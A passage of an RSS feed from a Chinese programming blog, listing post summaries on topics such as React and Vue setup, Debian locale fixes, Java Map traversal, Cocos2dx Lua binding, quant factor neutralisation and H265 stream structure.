      <description> 要编写一个指纹识别器，首先需要一个指纹扫描仪或摄像头来获取指纹图像。然后，可以使用图像处理算法对图像进行预处理，以确定关键特征。接下来，可以使用比对算法将该特征与数据库中的指纹进行比对，以确定匹配。&#xA;具体的实现方法可以使用各种图像处理库，例如OpenCV或scikit-image。可以先了解指纹识别的基本原理和算法，再根据需要编写代码。&#xA;以下是一个简单的示例代码：&#xA;import cv2 # 读取指纹图像 img = cv2.imread(&#34;fingerprint.jpg&#34;, 0) # 进行图像预处理，提取特征 features = extract_features(img) </description>
    </item>
    <item>
      <title>三种循环的讲解</title>
      <link>https://bchobby.github.io/posts/a4facaa56915dd3c6e2bb59211c22156/</link>
      <pubDate>Mon, 13 Feb 2023 08:44:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4facaa56915dd3c6e2bb59211c22156/</guid>
      <description>一、了解循环&#xA;JS循环的概念&#xA;循环就是重复做一件事, 在程序中指的是重复执行某段代码.. 不成立为止.&#xA;如: 大家每天早上7点起床, 9点上课, 12点吃饭, 19点晚自习, 21点下课, 23点睡觉, 第二天又重复7点起床, ….. , 直到毕业找到工作就可以跳出这个循环.&#xA;2.死循环的概念&#xA;死循环就是重复执行代码, 不会停止.&#xA;死循环会造成程序卡死甚至崩溃等问题, 我们不能写会造成死循环的代码.&#xA;3.循环的用处&#xA;循环的用处非常广泛, 特别是对大量的数据进行操作的时候,&#xA;如：求若干个数之和； (重复做加法)&#xA;求某个班全部学生的总成绩；(重复做加法) 4.循环的分类&#xA;循环有很多种方式, 如: while, do-while, for, for-in, for-each等.&#xA;这里我们先介绍最常见的,也是很多其他计算机语言通用的三种方式:&#xA;1). while循环 2). do-while循环 3). for循环&#xA;二、常用的循环语句&#xA;1.while 循环&#xA;while循环语法格式:&#xA;while(表达式)&#xA;{&#xA;执行代码;&#xA;}&#xA;注意：1, while循环必须按照上述语法格式来写, 只能更改表达式内容和执行代码.&#xA;2, 表达式可以是常量,变量或者其他表达式,该表达式会被强制转换为boolean类型, 可以理解表达式就是循环 的条件, 条件成立则进入括号{}里面执行代码，否则不进入；&#xA;3, 执行代码可以有多行, {}所包含的称为循环体.&#xA;4, 表达式不要一直是true, 避免死循环.&#xA;5. while循环的顺序是: 先判断表达式是否为true, 若true则执行执行代码, 然后再继续判断表达式是否为true, ….</description>
    </item>
    <item>
      <title>最快的排序算法是什么</title>
      <link>https://bchobby.github.io/posts/ea6ccea6fc7b2ee921981b5e945ec8a8/</link>
      <pubDate>Mon, 13 Feb 2023 08:33:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ea6ccea6fc7b2ee921981b5e945ec8a8/</guid>
      <description>最快的排序算法是基数排序。基数排序是一种非比较型排序算法，它的时间复杂度可以做到 O(n)，在数据规模较大时效率非常高。基数排序的基本思想是将数据按照位数分组，然后按照每一位的数字大小对数据进行排序。基数排序适用于数据规模较大，且数据的数值范围不是很大的情况。&#xA;不过，在实际应用中，最快的排序算法并不是唯一的考虑因素。在数据规模较小时，插入排序、选择排序等排序算法的时间复杂度都很小，也可以很快地完成排序。在实际使用中，应根据具体情况选择合适的排序算法。</description>
    </item>
    <item>
      <title>DIY NAS服务器之OMV 5.6入坑指南（六） -debian终端菱形乱码修复</title>
      <link>https://bchobby.github.io/posts/5e1812293e5d6fece8775ae5a4c24420/</link>
      <pubDate>Sun, 12 Feb 2023 23:46:31 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5e1812293e5d6fece8775ae5a4c24420/</guid>
      <description>系列文章目录 DIY NAS服务器之OMV 5.6入坑指南（一）- openmediavalut 5.6安装&#xA;DIY NAS服务器之OMV 5.6入坑指南（二）- 安装omv-extras插件&#xA;DIY NAS服务器之OMV 5.6入坑指南（三）- 切换系统源&#xA;DIY NAS服务器之OMV 5.6入坑指南（四）- 安装docker和Portainer&#xA;DIY NAS服务器之OMV 5.6入坑指南（五）- 数据同步及管理&#xA;DIY NAS服务器之OMV 5.6入坑指南（六）- debian终端菱形乱码修复&#xA;目录&#xA;系列文章目录&#xA;前言&#xA;一、最终结论&#xA;二、尝试的方法&#xA;前言 本节主要是openmediavalut 系统下的debian终端出现菱形乱码问题，强迫症状态下想着能不能修复一下而进行的一些努力。&#xA;一、最终结论 先放上个人努力后的最终结论：&#xA;最终无法修复菱形乱码问题，尝试的方法无效。&#xA;下面命令可以用来设置默认语言&#xA;dpkg-reconfigure locales&#xA;dpkg-reconfigure tzdata&#xA;二、尝试的方法 如下记录努力过程方法&#xA;最简安装debian的时候由于没有中文字库，若选择看中文环境会出现菱形乱码。&#xA;注：上面这个图是网上找的，当时没记录，将就参考一下吧。&#xA;先把zh.utf8换为us.utf8看着好顺眼些。&#xA;# aptitude install locales&#xA;dpkg-reconfigure locales&#xA;跳出一个文字选择界面（如果安装时选择中文，此时文字全是乱码），page up/down 翻页、空格键选择以下编码&#xA;en_US.UTF-8 UTF-8&#xA;zh_CN.GBK GBK&#xA;zh_CN.GB2312&#xA;zh_CN.UTF-8 UTF-8 然后 Tab 鍵切换到 OK，最后默认语言选择 en_US.UTF-8&#xA;OK后会出现如下提示：</description>
    </item>
    <item>
      <title>React项目运行默认打开Chrome浏览器和取消打开浏览器</title>
      <link>https://bchobby.github.io/posts/1bff76c5002b917115e6ade74041617f/</link>
      <pubDate>Sun, 12 Feb 2023 22:20:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1bff76c5002b917115e6ade74041617f/</guid>
      <description>react 取消每次运行项目默认打开浏览器 在package.json 文件中将 &#34;start&#34;: &#34;node scripts/start.js&#34;修改为set BROWSER=none &amp;amp;&amp;amp; node scripts/start.js&#xA;&#34;scripts&#34;: { &#34;start&#34;: &#34;set BROWSER=none &amp;amp;&amp;amp; node scripts/start.js&#34;, &#34;build&#34;: &#34;node scripts/build.js&#34;, &#34;test&#34;: &#34;node scripts/test.js&#34; }, 运行成功之后，不会自动打开浏览器，需要我们复制url在浏览器中打开，&#xA;React项目运行默认打开Chrome浏览器 在在package.json 文件中设置&#34;start&#34;: &#34;set BROWSER=chrome&amp;amp;&amp;amp; node scripts/start.js&#34;,&#xA;&#34;scripts&#34;: { &#34;start&#34;: &#34;set BROWSER=chrome&amp;amp;&amp;amp; node scripts/start.js&#34;, &#34;build&#34;: &#34;node scripts/build.js&#34;, &#34;test&#34;: &#34;node scripts/test.js&#34; }, 运行项目之后会自动打开chrome浏览器&#xA;注意，chrome和&amp;amp;&amp;amp;之间不要有空格，否则，浏览器不会启动。&#xA;在设置时，开始在chrome后面加了空格，运行项目时chrome浏览器没有打开。</description>
    </item>
    <item>
      <title>敏捷设计的的4个核心思想</title>
      <link>https://bchobby.github.io/posts/91dee59304b671783bb3195915033fb9/</link>
      <pubDate>Sun, 12 Feb 2023 18:49:26 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/91dee59304b671783bb3195915033fb9/</guid>
      <description>来自《互联网产品之美》。&#xA;4个核心思想&#xA;1、强调面对面的沟通，也就是说沟通很重要，任何人的相互交流胜于任何流程和工具；&#xA;2、要把精力集中在可执行的程序上，可以运行的产品胜于综合性文档，也就是强调了原型、模型、演示等的重要性；&#xA;3、团队合作和团队激励，合作胜于谈判，敏捷开发能将需求分析、开发、测试等全部团队成员融合成一个整体，大家都是“一条线上的蚂蚱”；&#xA;4、团队成员要有超强的适应能力，适应变化胜于按部就班，敏捷开发的特点就是快速，对于互联网行业来说，这点非常重要。&#xA;敏捷设计强调的是团队成员的高度参与，目的就是要让大家统一认识，把团队的目标变成每个人的工作目标，并得到每个团队成员的认同，&#xA;形成高度的凝聚力，以达到群策群力、高效协作的效果。&#xA;在敏捷设计过程中，由于没有高度细化的文档，成员之间交互信息的唯一渠道就是面对面沟通，良好的团队氛围和协作关系促进了这种沟通，&#xA;并使得消息有效传达。&#xA;上面几段话，总体比较靠谱，文档方面值得进一步探讨。&#xA;下面是自己的3点看法：&#xA;1、老外提出的很多概念、想法，可能是有一定的适用场景，也有可能是到了国内就“水土不服”，因为国内极度强调效率等特色化的东西。&#xA;懂得自然都懂。&#xA;我所经历学习到的：UML统一建模语言、敏捷开发、领域驱动设计、单元测试（国内普遍都是“伪”单元测试）。&#xA;概念都挺好，就是难以落地。&#xA;2、敏捷开发&#xA;国内存在非常推崇敏捷开发的人群，也有很多相关书籍和实际。&#xA;在xx厂xx团队期间，有幸参与了“敏捷开发”模式。&#xA;总的观点：“新瓶装旧酒，换汤不换药”。其实，很难见到全新的事物和方法论，通常只是名字不同，但内涵其实都差不太多。&#xA;比如，敏捷开发的特有实践：早会、晚会、看板、认领工作和工时、master角色。&#xA;存在不接地气或者无法“普试”的做法。&#xA;1）、快速开发、快速上线。&#xA;普遍存在一种现象，很多上游人群对“敏捷开发”的直观认识，就是：我提出一个需求，你们赶紧开发，赶紧上线。&#xA;单方面强调，加班加点干活。&#xA;“敏捷开发”成了让下游加班干活，快速出成果，廉价劳动力的借口和幌子。&#xA;2、早会和晚会&#xA;对于很多场景来说，会开多了，没啥意思，除了浪费时间。&#xA;1天大概就8小时，除去开会，进度不会那么明显。&#xA;频繁的开会，哪有这么快的进度更新。&#xA;如果跨部门、跨项目或者人员较多时，每个人的节奏根本就不同，比如上班下班时间点。&#xA;3）、看板&#xA;需求方或者大家之间，对别人的工作，根本没那么在乎。&#xA;如果是需求方和进度管理有需要，直接1个在线Excel表格或wiki页面即可。&#xA;纸质看板，写纸条、描述任务、贴纸条，已经过时啦。&#xA;通常来说，老板要的是：总的进度计划、里程碑节点、好的结果，提出需要协调解决的问题，任务细节没那个功夫关注。&#xA;结果优先。&#xA;4）、认领工作和工时&#xA;普遍存在一种情况：每个成员的定位角色，就决定了每个人该干嘛。&#xA;认领工作适用于自组织的情况？什么场景合适呢？&#xA;5）、master角色&#xA;一般不就是组长、项目经理、产品经理等人担任么？&#xA;做的事情有啥本质区别吗？&#xA;还是说只是形式不同，名称不同？&#xA;3、事物发展需要的条件和环境&#xA;橘生淮南则为橘，橘生淮北则为枳。&#xA;事物生长发展，需要相应的环境和土壤。&#xA;只吹好处，不讲环境，是无法落地的，最终只是形式而已。&#xA;中国的制度、人文环境、行业特点，都需要考虑，否则容易变了味，甚至成了相关人群的单方面道具。</description>
    </item>
    <item>
      <title>webpack.config.js哪里找？react项目关闭eslint监测</title>
      <link>https://bchobby.github.io/posts/dd948f2292a64acb37f726e770a2c9c3/</link>
      <pubDate>Sun, 12 Feb 2023 17:09:09 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dd948f2292a64acb37f726e770a2c9c3/</guid>
      <description>目录&#xA;webpack.config.js哪里找？&#xA;react项目关闭eslint监测&#xA;webpack.config.js哪里找？ 在React项目中，当我们需要修改一些配置时，发现找不到webpack.config.js，是我们创建的项目有问题吗，还需新创建项目的项目已经不包含webpack.config.js文件了吗？&#xA;其实是创建项目时，自动隐藏的webpack.config.js文件，需要我们自己暴露webpack.config.js文件。&#xA;暴露webpack.config.js文件的方式：&#xA;执行npm run eject&#xA;执行之后，我们就会在暴露的config文件夹中看到webpack.config.js文件&#xA;react项目关闭eslint监测 1、设置package.json文件&#xA;&#34;eslintConfig&#34;: { &#34;extends&#34;: [ &#34;react-app&#34;, &#34;react-app/jest&#34; ], &#34;rules&#34;: { &#34;no-undef&#34;: &#34;off&#34;, &#34;no-restricted-globals&#34;: &#34;off&#34;, &#34;no-unused-vars&#34;: &#34;off&#34; } }, 对eslint的规则了解可参考以下文章&#xA;eslint官网规则http://eslint.cn/docs/rules/&#xA;或者&#xA;Eslint_规则参考手 http://www.verydoc.net/eslint/00003312.html&#xA;根据自己的需要关闭相关规则。&#xA;如果 package.json文件设置了以上代码之后，发现eslint关闭失效，可以直接在webpack.config.js中注释eslint相关的代码&#xA;2、webpack.config.js中注释eslint相关的代码</description>
    </item>
    <item>
      <title>因子中性化和因子解释</title>
      <link>https://bchobby.github.io/posts/92fd7bc16b9bc4dfb1a62595377dc613/</link>
      <pubDate>Sun, 12 Feb 2023 16:00:25 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/92fd7bc16b9bc4dfb1a62595377dc613/</guid>
      <description>因子中性化&#xA;因子值本身是否和市值存在高度相关性，若如此，会导致市值因子和该因子混在一起。如果相关性较高，那么实际上就和市值因子的效果一样了。&#xA;有时候，我们一样因子本身不受市值影响，那么就可以通过使用中性化处理后的因子值。但是有时候，我们因子本身的含义本来就偏好某类市值股票，即这种市值效应是该因子本身的一种预期特点，那么就不需要中性化。因此，只有当我们一样剥离某些其他因子的影响，才需要中性化。&#xA;一般什么情况下需要中性化？当我们想要的因子由于代理变量不够纯粹，会和其他因子存在较大相关性，但是我们又只想看纯粹效应，这时需要剔除其他因子的影响。或者想看新因子是否实际上可以被旧因子解释，或者说新因子是否相对于旧因子有新贡献，那么就需要相对其他因子中性化，看中性化后的因子是否还有显著的预测作用。&#xA;要注意，中性化是为了平衡因子，使得具有剔除其他因子后的可比性，其他因子不必对收益有影响，而是为了不让研究因子值受其他因子影响，使得效果和其他因子一样，即使某个因素对收益没有预测作用，但是如果因子受这个因素影响很大，那么这个因子在这个因素的影响下，也会失去预测作用。&#xA;什么情况下不需要中性化？就想看该因子本身的表现，其因子相关性是预期中的。不需要剔除其他因子的影响。或者因子构建本身已经考虑到了市值等因素的影响，比如用市值scale等。&#xA;中性化方法&#xA;1. 分组法&#xA;分组算z score，比如将股票分为大中小市值组，然后组内算z score，这样就可以将因子组内标准化，转为近似同分布，不同市值下的因子值就具有剔除市值效应后的可比性了。缺点是效率低，容易造成样本不均，稀疏。比如同时再加一个行业中性化，那么就要对每个行业做大中小市值分组，这样由于有的行业本来股票就不多，再一分，导致不同行业的样本分布数量很不均，容易出现偏差，如果因子再多，那么组别指数增加，就不现实了。&#xA;2. 回归法&#xA;将因子在需要剔除影响的其他因子上做回归，取残差。回归后，残差和其他因子没有相关性，残差的对收益的解释预测作用就是剔除了其他因子后的。&#xA;回归法要特别注意异常值处理，因为回归结果本身是容易受异常值影响的（除非是rank回归，对异常值比较robust）&#xA;回归法可以中性化，也可以用来剔除其他因子对收益的解释，前者不必要求其他因子对收益有影响，要求对因子本身取值有影响，是为了剔除其他因子效应（该效应可能是有正预测作用、负预测作用或者没有预测作用），后者一般是为了看因子是否有新增贡献，这个一般要求其他因子是有预测作用的。</description>
    </item>
    <item>
      <title>如何创建vue3&#43;vite&#43;ts的项目</title>
      <link>https://bchobby.github.io/posts/6b94c562153f083a747592125a44db2f/</link>
      <pubDate>Sun, 12 Feb 2023 13:10:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6b94c562153f083a747592125a44db2f/</guid>
      <description>本文章仅为新手提供刚接触vue3时不懂如何创建demo的教程。&#xA;一般情况下，官方推荐使用vite来构建vue3项目，vite是一种新型前端构建工具，能够显著提升前端开发体验。但是使用Vite需要Node.js版本 &amp;gt;= 12.0.0。&#xA;操作步骤 yarn create vite 1、运行上述命令，会提示你输入项目的名称：&#xA;2、选择所使用的框架&#xA;3、选择使用的编程语言&#xA;上述三步执行完后，就会创建成功一个模板&#xA;4、根据创建成功后的提示执行命令，首先cd todo-list进入到项目目录下，然后执行yarn安装依赖，依赖安装成功后执行yarn dev即可运行项目。&#xA;至此，一个非常简洁的基于vite + ts的vue3demo创建成功。</description>
    </item>
    <item>
      <title>解决ERROR in ./node_modules/vuex/dist/vuex.esm.js</title>
      <link>https://bchobby.github.io/posts/c29418c8edc1897d6ea11a14ee4a9438/</link>
      <pubDate>Sun, 12 Feb 2023 12:04:45 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c29418c8edc1897d6ea11a14ee4a9438/</guid>
      <description>当你安装vuex时，安装完成后可能会出现这样的报错&#xA;ERROR in ./node_modules/vuex/dist/vuex.esm.js&#xA;两种原因：&#xA;1、如果你是用的是vue2,那应该安装vuex@3版本&#xA;npm i vuex@3&#xA;如果你是用的是vue3，那么应该安装vuex@4版本 npm i vuex@4&#xA;2、第二种情况就是，你安装的版本没问题，但是你是在运行情况下安装的，那么他还是会报错，&#xA;应该先停止项目，在安装(两次ctri+c)&#xA;ctrl+c 根据不同版本安装完成之后再执行一次就好了&#xA;npm run serve 成功运行！！！！</description>
    </item>
    <item>
      <title>这是一份保姆级Vue3&#43;Vite实战教程</title>
      <link>https://bchobby.github.io/posts/7c3865881845a6c68823456f0a189c39/</link>
      <pubDate>Sun, 12 Feb 2023 09:30:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7c3865881845a6c68823456f0a189c39/</guid>
      <description>首先我们要创建一个 Vue3+Vite 项目，目前 Vue 官方创建项目时默认就是 Vite 构建了，所以直接按照官网来就可以，如下：&#xA;确保你安装了最新版本的 Node.js[1]，然后在命令行中运行以下命令&#xA;npm init vue@latest# orpnpm create vue@latest 「PS：」 我这边使用的是 pnpm ，它的优缺点我就不说了，大家自行百度吧，不过后面所有的命令中我都会写 npm 和 pnpm 两种，大家想用啥都无所谓的，工具而已，但是 pnpm 真的很香。&#xA;这一指令将会安装并执行 create-vue[2]，它是 Vue 官方的项目脚手架工具。你将会看到一些诸如 TypeScript 和测试支持之类的可选功能提示，我们的选择如下：&#xA;✔ Project name（项目名）: toolsdog✔ Add TypeScript（添加TS）? : No✔ Add JSX Support（添加JSX支持）? : No✔ Add Vue Router for Single Page Application development（添加Vue-router）? : Yes✔ Add Pinia for state management（添加状态管理Pinia）? : Yes✔ Add Vitest for Unit testing（为单元测试添加Vitest）? : No✔ Add Cypress for both Unit and End-to-End testing（为单元测试与端到端测试添加Cypress）?</description>
    </item>
    <item>
      <title>MATLAB tof仿真</title>
      <link>https://bchobby.github.io/posts/1a091480cfb4a68c1059b04a0f8835b3/</link>
      <pubDate>Sun, 12 Feb 2023 08:52:36 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1a091480cfb4a68c1059b04a0f8835b3/</guid>
      <description>MATLAB 是一个高级编程语言，它有丰富的工具箱可以帮助你进行各种仿真。如果你想进行 Time-of-Flight (TOF) 仿真，可以使用 MATLAB 的信号处理工具箱，对 TOF 信号进行模拟和分析。&#xA;你可以先构造一个 TOF 模型，然后使用 MATLAB 工具箱进行仿真，并对模拟结果进行可视化分析。在进行仿真时，你可以调整模型的参数，比如光线传播速度和光线衰减系数，以观察它们对仿真结果的影响。&#xA;总的来说，使用 MATLAB 进行 TOF 仿真是一个非常方便和有效的方法，它可以帮助你更好地理解 TOF 技术的原理，并对其进行有效的评估。</description>
    </item>
    <item>
      <title>matlab安装gurobi</title>
      <link>https://bchobby.github.io/posts/1c473c5787ede8ccad94f52f7e03718a/</link>
      <pubDate>Sat, 11 Feb 2023 17:31:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c473c5787ede8ccad94f52f7e03718a/</guid>
      <description>(26条消息) Yalmip + Gurobi下载安装及matlab导入_DaryDaryDary的博客-CSDN博客_win matlab 安装 gurobi&#xA;如何在MATLAB中安装Gurobi (qq.com)&#xA;使用程序验正效果&#xA;%% 用gurobi求解简单QP问题 % 目标函数及约束条件如下： % 目标函数：minf(x)=x^2+x*y+y^2+y*z+z^2+2*x % 约束条件：x+2*y+3*z&amp;gt;=4 % x+Y&amp;gt;=1 % x&amp;gt;=0 % y&amp;gt;=0 % z&amp;gt;=0 function qp() names={&#39;x&#39;,&#39;y&#39;,&#39;z&#39;}; model.varnames=names;%定义变量名 model.Q=sparse([1 0.5 0; 0.5 1 0.5; 0 0.5 1]);%目标函数中多次项系数矩阵 model.A=sparse([1 2 3; 1 1 0]);%约束条件系数矩阵 model.obj=[2 0 0];%目标函数中线性系数矩阵 model.rhs=[4 1]; model.sense=&#39;&amp;gt;&#39;; gurobi_write(model,&#39;qp.lp&#39;); results=gurobi(model); for v=1:length(names) fprintf(&#39;%s %e\n&#39;,names{v}, results.x(v)); end fprintf(&#39;Obj:%e\n&#39;, results.objval); model.vtype=&#39;B&#39;; results=gurobi(model); for v=1:length(names) fprintf(&#39;%s %e\n&#39;,names{v}, results.x(v)); end fprintf(&#39;Obj:%e\n&#39;, results.</description>
    </item>
    <item>
      <title>【Cocos2dx】【一】lua c&#43;&#43; 绑定</title>
      <link>https://bchobby.github.io/posts/e634772c4526613473ee1e1cf8a5c6c1/</link>
      <pubDate>Sat, 11 Feb 2023 17:10:34 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e634772c4526613473ee1e1cf8a5c6c1/</guid>
      <description>Cocos2dx lua c++ bind Lua官方页面&#xA;为啥一般游戏基本都用Lua来做脚本，因为Lua本身就是C写的程序。Lua的解释器代码直接放入你的C/C++项目里，调用相关接口就可以用了。&#xA;在cocos2d-x中lua与C++的交互，主要借助于第三方工具tolua++来实现。&#xA;该工具会将C++按照Lua支持的C API指定生成绑定代码，以便于Lua通过这些绑定代码更快捷的访问C++下的类及方法相关。&#xA;以下内容大部分来参考链接的自文章，会根据自己的想法做些修改。&#xA;非常感谢&#xA;参考链接&#xA;cocos C++与Lua的交互&#xA;一.Lua 与 C++ 交互 想要做Lua和C++的交互，肯定先从原理入手。&#xA;lua学习03：tolua的编译和使用：C/C++调用lua、lua调用C++、lua调用tolua、常用tolua和lua的API介绍&#xA;1).Lua虚拟机/解释器 Lua_State 一般脚本语言的底层都是由静态语言实现的。&#xA;Lua的解释器就是一个C程序/模块，不过要注意它的版本和工程的版本对不对应的上。&#xA;在cocos中，C/C++就是lua的宿主，虚拟机说白了就是要提供一个lua运行的环境，该环境下需要保存Lua脚本运行的内存空间，全局变量，库文件等， 该环境被称为Lua_State。&#xA;在Lua_State环境下，若实现Lua与C/C++的数据交互，我们需要有个容器来对数据进行传递，这个容器就是Lua虚拟栈。&#xA;2.)Lua虚拟栈 栈是先进后出的，在Lua的虚拟栈中，栈中数据通过索引值进行定位，索引值可为正数，也可为负数。&#xA;通俗的来说，1的永远表示栈底，-1的永远表示栈顶。&#xA;可以这么理解，队列中第一个下标index肯定是1，栈中是先进后出，所以栈底肯定是1，因为它先进。&#xA;3).C++ 访问 Lua 文章里的样例写的很好，但是我想做一些自己的修改。&#xA;具体如何将Lua加入到C/C++项目工程请自行百度。&#xA;test.lua&#xA;-- 文件命名为:test.lua str = &#34;Get Lua Data Sucess!!!&#34; function Add(num1, num2) return num1 + num2 end .cpp&#xA;#include &amp;lt;iostream&amp;gt; #include &amp;lt;string.h&amp;gt; extern &#34;C&#34; { #include &#34;lua.h&#34; // 提供了Lua的基本函数，在lua.h中的函数均已&#34;lua_&#34;为前缀 #include &#34;lualib.h&#34; // 定义lua的标准库函数，比如table, io, math等 #include &#34;</description>
    </item>
    <item>
      <title>【Cocos2dx】【二】fairyGUI lua 接入</title>
      <link>https://bchobby.github.io/posts/eef268ff0344a9a3b5c115156511dd63/</link>
      <pubDate>Sat, 11 Feb 2023 17:04:21 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/eef268ff0344a9a3b5c115156511dd63/</guid>
      <description>【Cocos2dx】【二】fairyGUI lua 接入 官方文档&#xA;或者看这篇官方推荐的博客：&#xA;FairyGUI在Cocos2d-x下的多平台接入和lua绑定&#xA;其中有两个步骤暂时不理解。&#xA;一.conversions.yaml definitions: # the names of the functions - we use this to generate the code and to register the functions in # the javascript class ifunction: &#34;lua_${generator.prefix}_${class_name}_${func_name}&#34; sfunction: &#34;lua_${generator.prefix}_${class_name}_${func_name}&#34; constructor: &#34;lua_${generator.prefix}_${class_name}_constructor&#34; conversions: # some times you want to use a special native type when converting from spidermonkey to native # the most common case would be from JS-boolean to bool. Using &#34;</description>
    </item>
    <item>
      <title>(day12) 自学Java——集合进阶(双列集合)</title>
      <link>https://bchobby.github.io/posts/5713322ce35aa7e4215530405fa3bed0/</link>
      <pubDate>Sat, 11 Feb 2023 16:41:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5713322ce35aa7e4215530405fa3bed0/</guid>
      <description>目录&#xA;1.双列集合特点&#xA;Map遍历三种方式&#xA;2.HashMap&#xA;3.LinkedHashMap&#xA;4.TreeMap&#xA;5.源码解析&#xA;6.可变参数(形参个数可变)&#xA;7.Collections&#xA;8.综合练习&#xA;1.双列集合特点 ①双列集合一次需要存一对数据，分别为键和值&#xA;②键不能重复，值可以重复&#xA;③键和值是一—对应的，每一个键只能找到自己对应的值&#xA;④键+值这个整体我们称之为“键值对”或者“键值对对象”，在Java中叫做“Entry对象”&#xA;Map是接口，不能直接创建对象，要创建它实现类的对象。&#xA;Map遍历三种方式 Map遍历方式：&#xA;1.键找值&#xA;2.键值对&#xA;3.Lambda表达式&#xA;练习：用键找值的方式遍历map集合，要求：用装着键的单列集合，使用增强for的形式遍历。&#xA;用键找值的方式遍历map集合，要求：用装着键的单列集合，使用迭代器的形式遍历。&#xA;用键找值的方式遍历map集合，要求：用装着键的单列集合，使用Lambda的形式遍历。&#xA;import java.util.HashMap; import java.util.Iterator; import java.util.Map; import java.util.Set; public class MapDemo { public static void main(String[] args) { Map&amp;lt;String,String&amp;gt; map=new HashMap&amp;lt;&amp;gt;(); map.put(&#34;bk&#34;,&#34;pp&#34;); map.put(&#34;文总&#34;,&#34;包包&#34;); map.put(&#34;桃桃&#34;,&#34;福福&#34;); //获取所有的键，将键放到单列集合中 Set&amp;lt;String&amp;gt; keys=map.keySet(); //增强for遍历 for (String key : keys) { String value=map.get(key); System.out.println(key+&#34;=&#34;+value); } //迭代器 Iterator&amp;lt;String&amp;gt; it=keys.iterator(); while (it.hasNext()){ String keys1=it.next(); String value1=map.</description>
    </item>
    <item>
      <title>每个结点的关键字都比左孩子关键字大，比右孩子关键字小，这样的二叉树一定是二叉排序树为啥错了能解释一下吗...</title>
      <link>https://bchobby.github.io/posts/68381f5d090c911ef5169b0044865048/</link>
      <pubDate>Sat, 11 Feb 2023 15:33:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/68381f5d090c911ef5169b0044865048/</guid>
      <description>不对，这样的二叉树不一定是二叉排序树。二叉排序树的定义是：在二叉树的左子树中，所有的结点的关键字都比根结点的关键字小；在二叉树的右子树中，所有的结点的关键字都比根结点的关键字大。因此，如果一棵二叉树每个结点的关键字都比左孩子关键字大，比右孩子关键字小，那么这个二叉树不一定是二叉排序树。</description>
    </item>
    <item>
      <title>H265视频码流结构分析</title>
      <link>https://bchobby.github.io/posts/7e98555b286fcc9185b77d7be9485001/</link>
      <pubDate>Sat, 11 Feb 2023 13:13:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e98555b286fcc9185b77d7be9485001/</guid>
      <description>目录&#xA;前言&#xA;H265码流结构&#xA;H265帧结构 H265档次介绍&#xA;RTSP实时音视频开发实战课程：&amp;lt;RTSP实时音视频开发实战&amp;gt;&#xA;《YUV编码为H265视频流代码实现》链接：&#xA;https://edu.csdn.net/learn/38258/606134?spm=1003.2001.3001.4157&#xA;《H265视频流解码为YUV代码实现》链接：&#xA;https://edu.csdn.net/learn/38258/606144?spm=1003.2001.3001.4157&#xA;前言 在音视频开发入门基础知识（视频入门篇）中介绍了H265的一些编码基础，本文会对H265编码后的视频流做一个详细的介绍。H264视频码流结构分析一文中对H264视频码流结构做了详细的分析，H265的视频码流结构和H264视频码流结构比较相似，建议阅读H264视频码流结构分析先了解下H264视频码流结构的特性和一些术语、概念。&#xA;H265码流结构 H265的视频流中也是存在多个GOP，每一个GOP里面包含多个视频编码帧。H265支持的视频编码帧类型有IDR帧、I帧、P帧、B帧，这些帧类型的含义和H264码流的帧类型的含义是一样，作用也是一样，比如IDR帧和I帧都是帧内压缩编码，IDR帧是即时解码刷新帧，也是关键帧；P帧是前向参考帧，B帧是双向参考帧。&#xA;H265的I帧或者IDR帧采用帧内编码，由于帧内压缩效率低，所以往往IDR帧/I帧比较大；如下图中的图像是H265的视频IDR帧的图像，可以看出IDR帧里面的每一个小块都是帧内编码块(橙色)；图中上方的柱状图表示每个视频帧的大小，柱状图越高表示数据量越大，可以看出IDR帧(橙色)比较大。&#xA;H265的P帧B帧也可以采用帧内压缩的方式来编码，不过主要还是靠帧间编码来提示压缩率的；如下图中的图像是H265的视频P帧的图像，可以看出P帧里面的小方块的大多是帧间编码块(蓝色块)，还出了一个帧内编码块(橙色块)。&#xA;H265帧结构 H265每一个帧的组成和H264的构成一样，功能上分为NAL层(NetworkAbstraction Layer,网络提取层)和VCL层(VideoCoding Layer,视频编码层)；H265的一帧编码图像中分为一个或者多个Nal 单元；每个NAL单元包含Nal 单元头和NAL 单元 Body；Nal 单元头由起始码和Nal Type组成。NAL 单元 Body通常是RBSP(Raw Byte Sequence Payload 原始字节序列载荷)数据 。如下图所示。H265的Nal Type和H264Nal Type有些许差异，如在IDR/I帧数据通常除了SPS、PPS还有VPS，如下图中红色字体VPS是H265视频流中增加的Nal Type。&#xA;VPS：Video Parameter Set,视频参数集；主要包含视频时域子层的最大数目，时钟周期计算相关参数等。&#xA;与H264一样，H265可以通过Nal Type来判断当前Nal Unit的类型；如下图是Nal Unit 定义；在Nal Unit最开始的位置就是nal_unit_header，之后才是rbsp。&#xA;下图是nal_unit_header的定义，共占用了16bit(2个字节)；其中nal_unit_type表示的是一个NalUnit数据的类型，占前8bit的6个bit位；nal_unit_type的取值计算为(data[0] &amp;amp;0x7e)&amp;gt;&amp;gt; 1 。&#xA;nal_unit_type字段定义如下图；如下图可以知道 nal_unit_type为32时候 Nal Unit是VPS；nal_unit_type为33时候 Nal Unit是SPS；nal_unit_type为34时候 Nal Unit是PPS；nal_unit_type为19-20时候 Nal Unit是IDR Slice；nal_unit_type为0-9，16-18，21的时候 Nal Unit是非IDR Slice；nal_unit_type为39-40时候 Nal Unit是SEI（视频增强信息）。实际上16-21都是I帧类型的数据。&#xA;在H265视频帧中，对于非IDR 的Slice我们可以进一步解析slice_segment_header()中的slice_type；slice_segment_header()定义如下图。&#xA;下图是H265视频帧中slice_type的定义 ；</description>
    </item>
    <item>
